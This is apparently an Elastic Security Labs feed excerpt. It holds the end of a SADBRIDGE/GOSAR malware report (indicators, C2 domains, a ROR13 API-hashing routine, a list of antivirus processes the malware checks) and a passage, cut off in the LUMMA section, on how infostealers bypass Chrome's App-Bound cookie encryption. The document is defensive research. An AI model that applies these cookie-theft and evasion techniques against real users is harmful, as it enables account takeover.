<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2 id="mitigatingref3864">Mitigating REF3864</h2>
<h3 id="detection">Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a>  </li>
<li><a href="https://www.elastic.co/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a>  </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research:</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| opera-x[.]net | domain-name |  | Landing page |
| teledown-cn[.]com | domain-name |  | Landing page |
| 15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39 | SHA-256 | <code>NetFxRepairTools.msi</code> | MSI |
| accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7 | SHA-256 | <code>x64bridge.dll</code> | SADBRIDGE |
| 7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210 | SHA-256 |  | GOSAR |
| ferp.googledns[.]io | domain-name |  | GOSAR C2 Server |
| hk-dns.secssl[.]com | domain-name |  | GOSAR C2 Server |
| hk-dns.winsiked[.]com | domain-name |  | GOSAR C2 Server |
| hk-dns.wkossclsaleklddeff[.]is | domain-name |  | GOSAR C2 Server |
| hk-dns.wkossclsaleklddeff[.]io | domain-name |  | GOSAR C2 Server |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a>  </li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a>  </li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a>  </li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a> </li>
</ul>
<h2 id="appendix">Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code>def ror(x, n, max_bits=32) -&gt; int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)

        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF

    return hex(result)
</code></pre>
<h3 id="avproductscheckedingosar">AV products checked in GOSAR</h3>
<p>| 360sd.exe | kswebshield.exe |
| :---: | :---: |
| 360tray.exe | kvmonxp.exe |
| a2guard.exe | kxetray.exe |
| ad-watch.exe | mcshield.exe |
| arcatasksservice.exe | mcshield.exe |
| ashdisp.exe | miner.exe |
| avcenter.exe | mongoosagui.exe |
| avg.exe | mpmon.exe |
| avgaurd.exe | msmpeng.exe |
| avgwdsvc.exe | mssecess.exe |
| avk.exe | nspupsvc.exe |
| avp.exe | ntrtscan.exe |
| avp.exe | patray.exe |
| avwatchservice.exe | pccntmon.exe |
| ayagent.aye | psafesystray.exe |
| baidusdsvc.exe | qqpcrtp.exe |
| bkavservice.exe | quhlpsvc.EXE |
| ccapp.exe | ravmond.exe |
| ccSetMgr.exe | remupd.exe |
| ccsvchst.exe | rfwmain.exe |
| cksoftshiedantivirus4.exe | rtvscan.exe |
| cleaner8.exe | safedog.exe |
| cmctrayicon.exe | savprogress.exe |
| coranticontrolcenter32.exe | sbamsvc.exe |
| cpf.exe | spidernt.exe |
| egui.exe | spywareterminatorshield.exe |
| f-prot.EXE | tmbmsrv.exe |
| f-prot.exe | unthreat.exe |
| f-secure.exe | usysdiag.exe |
| fortitray.exe | v3svc.exe |
| hipstray.exe | vba32lder.exe |
| iptray.exe | vsmon.exe |
| k7tsecurity.exe | vsserv.exe |
| knsdtray.exe | wsctrl.exe |
| kpfwtray.exe | yunsuo_agent_daemon.exe |
| ksafe.exe | yunsuo_agent_service.exe |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/under-the-sadbridge-with-gosar</link>
    <guid isPermaLink="false">under-the-sadbridge-with-gosar</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Jia Yu Chan,Salim Bitam,Daniel Stepanic,Seth Goodwin]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7055263b3536c22f/6a7c982dc33f4f9286d54f70/Security_Labs_Images_21.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
    <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
    <content:encoded><![CDATA[<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h2 id="background">Background</h2>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2 id="googlechromecookiesecurity">Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63dc8a7fe5295d9a/6a7c88a9e3a21972ff999805/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" title="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h2 id="stealerbypasstechniquessummarized">Stealer Bypass Techniques, Summarized</h2>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte9e1d9c5ccb078b8/6a7c88acda3d053435633e71/image30.png" alt="Timeline of events" title="Timeline of events" /></p>
<h3 id="stealcvidar">STEALC/VIDAR</h3>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
  <p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f40f54acdaa2a22/6a7c88af8fc2d0be6d3e89b9/image2.png" alt="Embedded PE file" title="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfc1abcb937463f15/6a7c88b277b034288a3f9697/image38.png" alt="Signature pattern for &lt;code&gt;CookieMonster&lt;/code&gt;" title="Signature pattern for &lt;code&gt;CookieMonster&lt;/code&gt;" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature. </p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt21ae977147a1b5d3/6a7c88b58fc2d0a84a3e89bd/image37.png" alt="Enumerating for Chrome’s network service" title="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8296a31789e3661e/6a7c88b7448e4e10885bac93/image17.png" alt="Calls to &lt;code&gt;CredentialKatz::FindDllPattern&lt;/code&gt;" title="Calls to &lt;code&gt;CredentialKatz::FindDllPattern&lt;/code&gt;" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdd5108c441b51053/6a7c88ba227b1cdd095927b6/image14.png" alt="Byte sequence for &lt;code&gt;net::CookieMonster::~CookieMonster&lt;/code&gt; found in &lt;code&gt;chrome.dll&lt;/code&gt;" title="Byte sequence for &lt;code&gt;net::CookieMonster::~CookieMonster&lt;/code&gt; found in &lt;code&gt;chrome.dll&lt;/code&gt;" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt34c8e33212df7b4a/6a7c88bc8fc2d078a63e89c5/image19.png" alt="&lt;code&gt;CookieMonster&lt;/code&gt;’s vtable in &lt;code&gt;chrome.dll&lt;/code&gt;" title="&lt;code&gt;CookieMonster&lt;/code&gt;’s vtable in &lt;code&gt;chrome.dll&lt;/code&gt;" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7c2365d73de0db7/6a7c88bfc33f4fdd25d54b46/image16.png" alt="Using &lt;code&gt;CookieKatz::FindPattern&lt;/code&gt; to locate &lt;code&gt;CookieMonster&lt;/code&gt; instances" title="Using &lt;code&gt;CookieKatz::FindPattern&lt;/code&gt; to locate &lt;code&gt;CookieMonster&lt;/code&gt; instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc4f5dd6dea35760b/6a7c88c2437e0f7377dd56d7/image20.png" alt="Initiating &lt;code&gt;CookieMap&lt;/code&gt; tree traversal for each &lt;code&gt;CookieMonster&lt;/code&gt; instance found" title="Initiating &lt;code&gt;CookieMap&lt;/code&gt; tree traversal for each &lt;code&gt;CookieMonster&lt;/code&gt; instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta91a7d83ac633bf8/6a7c88c505b7b56b14185b63/image31.png" alt="&lt;code&gt;CookieMap&lt;/code&gt; traversal subroutine" title="&lt;code&gt;CookieMap&lt;/code&gt; traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcef8e4c2d9b230df/6a7c88c8fc63ab26ed64704e/image23.png" alt="Constructing string for data exfiltration" title="Constructing string for data exfiltration" /></p>
<h3 id="metastealer">METASTEALER</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e1b27ebcfe2cbf3/6a7c88cb227b1c56a95927ba/image26.png" alt="METASTEALER announcement and translation" title="METASTEALER announcement and translation" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7c5e7787ed7d7146/6a7c88cd33fa8a50bc1fca44/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" title="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt52031964ead881a3/6a7c88d033fa8addcb1fca48/image11.png" alt="Code comparison between an old and a new version of the family" title="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcf3cd586e7d235cc/6a7c88d405b7b51ccc185b69/image13.png" alt="&lt;code&gt;app_bound_encrypted_key&lt;/code&gt; extracted from Chrome json file" title="&lt;code&gt;app_bound_encrypted_key&lt;/code&gt; extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt78be68ce34df0dc5/6a7c88d680ee383e4960d21f/image35.png" alt="New class for TOKEN impersonation" title="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt349192ec76d5dccf/6a7c88d951156a18952bc9ff/image8.png" alt="New class &lt;code&gt;ComInvoker&lt;/code&gt; to invoke methods from &lt;code&gt;GoogleChromeElevationService&lt;/code&gt; service" title="New class &lt;code&gt;ComInvoker&lt;/code&gt; to invoke methods from &lt;code&gt;GoogleChromeElevationService&lt;/code&gt; service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h3 id="phemedrone">PHEMEDRONE</h3>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5cc8925d25f0967a/6a7c88dce88c659e41005921/image10.png" alt="&lt;code&gt;README.txt&lt;/code&gt; within PHEMEDRONE project" title="&lt;code&gt;README.txt&lt;/code&gt; within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9fadda2da3f54757/6a7c88df6c6eac925af0e4b1/image27.png" alt="Chrome version verification in PHEMEDRONE" title="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba72a9952e6c1a98/6a7c88e1da3d05909e633e77/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" title="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbf09f3b4283ca441/6a7c88e42f00b29ee7ef8f61/image15.png" alt="New Chrome process in remote debug mode" title="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>). </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4303fcdb47ed8b26/6a7c88e6c2cc095df62434a7/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" title="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e94ffa3fc5db8d5/6a7c88e905b7b57afa185b6f/image32.png" alt="Cookie data within network capture" title="Cookie data within network capture" /></p>
<h3 id="xenostealer">XENOSTEALER</h3>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e57f232307604a2/6a7c88ec9f52519b226640f4/image29.png" alt="Source code of the injected code" title="Source code of the injected code" /> </p>
<h3 id="lumma">LUMMA</h3>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt310b0b482e83d0d6/6a7c88ef96b5a6f4a3875662/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
